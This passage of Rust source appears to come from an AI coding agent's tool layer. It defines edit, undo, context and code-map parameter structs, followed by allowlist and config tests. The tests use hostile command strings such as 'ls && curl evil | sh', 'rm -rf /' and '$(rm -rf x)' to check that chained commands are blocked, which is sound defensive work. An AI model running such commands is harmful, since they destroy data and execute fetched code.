977 /// >>>>>>> REPLACE
978 /// ```
979 pub text_or_search_replace_blocks: String,
980
981 /// The thread ID for this session
982 pub thread_id: String,
983}
984
985/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
986/// corresponding [`FileWriteOrEdit`] fields.
987#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
988pub struct FileEditEntry {
989 /// Path to the file to write or edit (absolute, ~ allowed).
990 pub file_path: String,
991 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
992 pub percentage_to_change: u32,
993 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
994 pub text_or_search_replace_blocks: String,
995}
996
997/// Parameters for the `MultiFileEdit` tool: apply edits across several files
998/// all-or-nothing at the COMPUTE stage.
999///
1000/// Every file is validated and its new content computed in memory first; only
1001/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1002/// the last file leaves the first files untouched. The write stage is a sequence
1003/// of atomic single-file renames and stops at the first I/O failure (already
1004/// written files are not rolled back, which is reported clearly).
1005#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1006pub struct MultiFileEdit {
1007 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1008 pub files: Vec<FileEditEntry>,
1009
1010 /// The thread ID for this session
1011 pub thread_id: String,
1012}
1013
1014/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1015/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1016#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1017pub struct UndoEdit {
1018 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1019 pub file_path: String,
1020
1021 /// The thread ID for this session
1022 pub thread_id: String,
1023}
1024
1025/// Parameters for the `ContextSave` tool
1026///
1027/// This struct represents the parameters needed to save context information
1028/// about a task, including file contents from specified globs.
1029#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1030pub struct ContextSave {
1031 /// Unique identifier for the task
1032 ///
1033 /// This should be a unique string that identifies the task. It can be
1034 /// a random 3-word identifier or a user-provided value.
1035 pub id: String,
1036
1037 /// Root path of the project
1038 ///
1039 /// This should be an absolute path to the project root. If empty, no
1040 /// project root will be used.
1041 pub project_root_path: String,
1042
1043 /// Description of the task
1044 ///
1045 /// This should contain a detailed description of the task, including
1046 /// relevant context, problems, and objectives.
1047 pub description: String,
1048
1049 /// List of file glob patterns
1050 ///
1051 /// These glob patterns identify the files that should be included in
1052 /// the saved context. Patterns can be absolute or relative to the project root.
1053 pub relevant_file_globs: Vec<String>,
1054
1055 /// Optional thread ID identifying the shell session to operate on. When
1056 /// omitted, the most recently active session is used.
1057 #[serde(default)]
1058 pub thread_id: String,
1059}
1060
1061/// Parameters for the `ReadImage` tool
1062///
1063/// This struct represents the parameters needed to read an image file.
1064#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1065pub struct ReadImage {
1066 /// Path to the image file to read
1067 ///
1068 /// This can be an absolute path or a path relative to the current working directory.
1069 pub file_path: String,
1070
1071 /// Optional thread ID identifying the shell session to operate on. When
1072 /// omitted, the most recently active session is used.
1073 #[serde(default)]
1074 pub thread_id: String,
1075}
1076
1077/// Operation for the `CodeMap` tool.
1078#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1079#[serde(rename_all = "snake_case")]
1080pub enum CodeMapOperation {
1081 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1082 Outline,
1083 /// The definition + reference (call/use) sites of a symbol name across the repo.
1084 References,
1085}
1086
1087/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1088/// two operations, in place of separate `Outline` / `FindReferences` tools.
1089#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1090pub struct CodeMap {
1091 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1092 /// or `references` (the definition + use sites of a symbol name).
1093 pub operation: CodeMapOperation,
1094
1095 /// For `outline`: the file or directory to map (empty or a directory = a
1096 /// ranked repo symbol map). For `references`: the directory or file to search
1097 /// under (empty = the whole workspace). Relative paths resolve against the
1098 /// workspace.
1099 #[serde(default)]
1100 pub path: String,
1101
1102 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1103 /// Required for `references`, ignored by `outline`.
1104 #[serde(default)]
1105 pub name: String,
1106
1107 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1108 /// occurrences for `references`. 0 means the default.
1109 #[serde(default)]
1110 pub max_results: usize,
1111
1112 /// Optional thread ID identifying the shell session to operate on. When
1113 /// omitted, the most recently active session is used.
1114 #[serde(default)]
1115 pub thread_id: String,
1116}
1117
1118/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1119/// internally by `CodeMap`.
1120#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1121pub struct Outline {
1122 /// File or directory to outline. A file returns that file's symbols; a
1123 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1124 /// map. Relative paths resolve against the workspace.
1125 #[serde(default)]
1126 pub path: String,
1127
1128 /// Maximum symbols to return for a single file, or maximum files for a repo
1129 /// map. 0 means the default.
1130 #[serde(default)]
1131 pub max_results: usize,
1132
1133 /// Optional thread ID identifying the shell session to operate on. When
1134 /// omitted, the most recently active session is used.
1135 #[serde(default)]
1136 pub thread_id: String,
1137}
1138
1139/// One symbol (definition) in `Outline` output.
1140#[derive(Debug, Clone, Serialize, JsonSchema)]
1141pub struct OutlineSymbol {
1142 /// Symbol name.
1143 pub name: String,
1144 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1145 pub kind: String,
1146 /// 1-based line where the definition starts.
1147 pub line: usize,
1148}
1149
1150/// Symbols for one file in `Outline` output.
1151#[derive(Debug, Clone, Serialize, JsonSchema)]
1152pub struct OutlineFile {
1153 /// Workspace-relative path of the file.
1154 pub file: String,
1155 /// Definitions found in the file, in source order.
1156 pub symbols: Vec<OutlineSymbol>,
1157}
1158
1159/// Structured result of an `Outline` call (mirrors the text block).
1160#[derive(Debug, Clone, Serialize, JsonSchema)]
1161pub struct OutlineOutput {
1162 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1163 pub mode: String,
1164 /// Number of files included in `files`.
1165 pub files_shown: usize,
1166 /// Per-file symbol lists.
1167 pub files: Vec<OutlineFile>,
1168 /// True if the symbol map was capped (more files or symbols exist).
1169 pub truncated: bool,
1170}
1171
1172/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1173#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1174pub struct FindReferences {
1175 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1176 pub name: String,
1177
1178 /// Directory or file to search under. Relative paths resolve against the
1179 /// workspace; leave empty to search the whole workspace.
1180 #[serde(default)]
1181 pub path: String,
1182
1183 /// Maximum occurrences to return. 0 means the default.
1184 #[serde(default)]
1185 pub max_results: usize,
1186
1187 /// Optional thread ID identifying the shell session to operate on. When
1188 /// omitted, the most recently active session is used.
1189 #[serde(default)]
1190 pub thread_id: String,
1191}
1192
1193/// One symbol occurrence in `FindReferences` output.
1194#[derive(Debug, Clone, Serialize, JsonSchema)]
1195pub struct ReferenceHit {
1196 /// Workspace-relative path.
1197 pub file: String,
1198 /// 1-based line.
1199 pub line: usize,
1200 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1201 pub kind: String,
1202 /// True for a definition, false for a reference (call / use site).
1203 pub is_definition: bool,
1204}
1205
1206/// Structured result of a `FindReferences` call (mirrors the text block).
1207#[derive(Debug, Clone, Serialize, JsonSchema)]
1208pub struct ReferencesOutput {
1209 /// The symbol name that was searched for.
1210 pub name: String,
1211 /// Number of returned hits that are definitions.
1212 pub definitions: usize,
1213 /// Number of returned hits that are references (call / use sites).
1214 pub references: usize,
1215 /// True if the result was capped (more occurrences exist).
1216 pub truncated: bool,
1217 /// Occurrences, definitions first then references, each group by file/line.
1218 pub hits: Vec<ReferenceHit>,
1219}
1220
1221/// JSON Schema advertised for `CodeMap.structuredContent`.
1222///
1223/// `CodeMap` has two operations with different payloads. Their shared
1224/// `truncated` field is required; operation-specific fields are optional so the
1225/// single object schema accepts both the outline and references result shapes.
1226#[derive(Debug, Clone, JsonSchema)]
1227pub struct CodeMapStructuredOutput {
1228 pub truncated: bool,
1229 pub mode: Option<String>,
1230 pub files_shown: Option<usize>,
1231 pub files: Option<Vec<OutlineFile>>,
1232 pub name: Option<String>,
1233 pub definitions: Option<usize>,
1234 pub references: Option<usize>,
1235 pub hits: Option<Vec<ReferenceHit>>,
1236}
1237
1238#[cfg(test)]
1239mod thread_id_tests {
1240 use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1241
1242 #[test]
1243 fn clean_id_is_unchanged() {
1244 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1245 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1246 }
1247
1248 #[test]
1249 fn empty_and_all_special_normalize_to_empty() {
1250 assert_eq!(normalize_thread_id(""), "");
1251 assert_eq!(normalize_thread_id("---"), "");
1252 }
1253
1254 #[test]
1255 fn separator_variants_do_not_collide() {
1256 // "user-1" and "user1" must NOT resolve to the same session/state file.
1257 let a = normalize_thread_id("user-1");
1258 let b = normalize_thread_id("user1");
1259 assert_ne!(a, b);
1260 assert!(a.starts_with("user1_"), "got {a}");
1261 assert_eq!(b, "user1");
1262 // "user-1" vs "user_1" must also stay distinct.
1263 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1264 }
1265
1266 #[test]
1267 fn normalization_is_deterministic() {
1268 // Same input -> same hash -> same session across restarts.
1269 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1270 }
1271
1272 #[test]
1273 fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1274 let original = "á".repeat(200);
1275 let normalized = normalize_thread_id(&original);
1276 assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1277 assert!(normalized.is_char_boundary(normalized.len()));
1278 assert_eq!(normalize_thread_id(&normalized), normalized);
1279 }
1280}
1281
1282#[cfg(test)]
1283mod allowlist_tests {
1284 use super::AllowedCommands;
1285
1286 fn list(items: &[&str]) -> AllowedCommands {
1287 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1288 }
1289
1290 #[test]
1291 fn all_permits_everything() {
1292 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1293 }
1294
1295 #[test]
1296 fn list_allows_exact_and_args() {
1297 let a = list(&["ls", "cargo test"]);
1298 assert!(a.is_allowed("ls"));
1299 assert!(a.is_allowed("ls -la"));
1300 assert!(a.is_allowed("cargo test --release"));
1301 }
1302
1303 #[test]
1304 fn list_blocks_word_boundary_lookalikes() {
1305 let a = list(&["ls", "cargo test"]);
1306 assert!(!a.is_allowed("lsof"));
1307 assert!(!a.is_allowed("cargo testimony"));
1308 }
1309
1310 #[test]
1311 fn list_blocks_chained_and_substituted_commands() {
1312 let a = list(&["ls"]);
1313 // The old first-token check let all of these through.
1314 assert!(!a.is_allowed("ls && curl evil | sh"));
1315 assert!(!a.is_allowed("ls; rm -rf /"));
1316 assert!(!a.is_allowed("ls $(rm -rf x)"));
1317 assert!(!a.is_allowed("ls | rm"));
1318 }
1319
1320 #[test]
1321 fn list_allows_chain_when_all_parts_permitted() {
1322 let a = list(&["cargo build", "cargo test"]);
1323 assert!(a.is_allowed("cargo build && cargo test"));
1324 }
1325}
1326
1327#[cfg(test)]
1328mod code_writer_config_tests {
1329 use super::deserialize_code_writer_config;
1330 use serde_json::json;
1331
1332 #[test]
1333 fn explicit_null_opts_out() {
1334 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1335 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1336 }
1337
1338 #[test]
1339 fn valid_config_parses() {
1340 let r = deserialize_code_writer_config(json!({
1341 "allowed_commands": "all",
1342 "allowed_globs": "all",
1343 }));
1344 assert!(matches!(r, Ok(Some(_))));
1345 }
1346
1347 #[test]
1348 fn malformed_config_fails_loud() {
1349 // The crux of the fix: a malformed restricted-mode config must ERROR,
1350 // not silently degrade to None (None falls back to All/All — wide open,
1351 // while the model believes the shell is locked down).
1352 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1353 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1354 }
1355}